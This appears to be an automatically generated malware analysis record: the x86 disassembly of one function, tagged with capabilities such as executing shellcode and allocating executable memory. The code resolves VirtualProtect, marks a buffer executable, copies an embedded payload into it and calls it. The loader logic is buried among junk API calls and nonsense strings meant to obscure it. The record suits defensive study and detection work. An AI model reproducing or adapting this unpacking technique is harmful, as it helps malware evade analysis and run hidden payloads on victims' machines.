Function at 0x401537
Capabilities:
Allocate or change rwx memory
Create directory
Execute shellcode via indirect call
Get disk size
Identify system language via api
Manipulate console buffer
Print debug messages
Set file attributes

Disassembly:
sub esp, 0x514
push ebx
push ebp
push esi
xor ebp, ebp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, ebp
push ebp
call edi
cmp esi, 0x207138
jg 0x40155f
inc esi
cmp esi, 0x4f672
jl 0x40154b
mov ecx, dword [0x684408]
cmp ecx, 0x93
je 0x401763
mov eax, dword [0x41a3c0]
add ecx, 0x1134b
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.kernel32.dll
mov dword [0x68440c], eax
mov dword [0x684408], ecx
call ebx
push str.VirtualProtect
push eax
mov dword [0x683e94], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x684408]
mov dword [0x683e88], eax
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [esp + 0x1c]
mov dword [0x683e90], eax
push ecx
push 0x40
push dword [0x684408]
push eax
call dword [0x683e88]
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x4015d5
mov ecx, dword [0x684408]
mov esi, ebp
test ecx, ecx
je 0x40168c
mov eax, dword [0x68440c]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x683e90]
mov byte [eax + esi], cl
mov ecx, dword [0x684408]
cmp ecx, 0x490
jne 0x401683
push dword [esp + 0x1c]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push str.zadaferofuxesiwituxexulata_vuvopa_jigamuwom_logawufadavujoke_lavehepedatewavufapomuxame
lea eax, [esp + 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebp
push ebp
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebp
push ebp
call dword [sym.imp.GDI32.dll_GetTextMetricsA]
push ebp
call dword [sym.imp.GDI32.dll_DeleteMetaFile]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push ebp
push str.fobomoyewusewemezujiwogove
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push str.ziyaciri_bow
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push str.kituru
call ebx
mov ecx, dword [0x684408]
inc esi
cmp esi, ecx
jb 0x4015f4
mov esi, ebp
lea eax, [ecx + esi]
cmp eax, 0x8d
jne 0x4016b2
push ebp
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push ebp
push ebp
push str.cupikofaxicusavezetiz
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov ecx, dword [0x684408]
inc esi
cmp esi, 0x38681
jl 0x40168e
push ecx
call fcn.004014ca
mov esi, ebp
push ebp
call edi
cmp esi, 0x62
jne 0x4016d0
call fcn.0040151b
inc esi
cmp esi, 0x674db
jl 0x4016c3
push 0x7b
pop esi
cmp dword [0x684408], 0x86
jne 0x401742
xor eax, eax
lea edi, [esp + 0x46]
mov word [esp + 0x44], ax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [esp + 0x34], ax
lea edi, [esp + 0x36]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x48]
push eax
lea eax, [esp + 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x54]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push ebp
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
dec esi
jne 0x4016dc
push str.msimg32.dll
call ebx
mov eax, dword [0x683e90]
mov dword [0x6843fc], eax
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x514
ret
push ebp
push ebp
call dword [sym.imp.USER32.dll_LoadMenuW]
push ebp
call dword [sym.imp.USER32.dll_CloseWindow]
xor eax, eax
mov dword [esp + 0x18], eax
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x1c]
lea eax, [esp + 0x128]
push ebp
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.USER32.dll_DrawCaption]
push ebp
lea eax, [esp + 0x24]
push eax
push ebp
call dword [sym.imp.USER32.dll_SetUserObjectSecurity]
xor eax, eax
lock bts dword [eax], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebp
call dword [sym.imp.WINHTTP.dll_WinHttpSetDefaultProxyConfiguration]
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x20]
push eax
push str.xawusoxijesevagu
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push ebp
push ebp
push ebp
push dword [esp + 0x20]
push ebp
call dword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
push ebp
call fcn.004036b7
push ebp
call fcn.00403f5d
push ebp
call fcn.004036b7
add esp, 0xc
call fcn.00403cfd
int3